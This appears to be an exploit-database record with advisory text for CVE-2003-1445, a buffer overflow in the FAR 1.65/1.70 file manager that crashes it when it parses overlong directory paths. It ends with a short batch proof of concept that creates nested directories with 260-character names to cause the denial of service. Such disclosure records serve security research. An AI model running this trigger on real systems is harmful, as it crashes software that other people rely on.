RARLAB FAR 1.65/1.70 - File Manager Buffer Overflow

Author: 3APA3A
type: dos
platform: linux
port: 
date_added: 2003-02-11  
date_updated: 2012-10-25  
verified: 1  
codes: CVE-2003-1445;OSVDB-60275  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 22243.txt  

source: https://www.securityfocus.com/bid/6822/info

A buffer overflow vulnerability has been reported for FAR that may result in a denial of service condition. The vulnerability exists due to insufficient bounds checking performed by FAR when parsing directory paths. Specifically, when FAR attempts to parse overly long paths it will crash thereby resulting in a denial of service condition.

SET A=A<260 chars>A
SET B=BBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\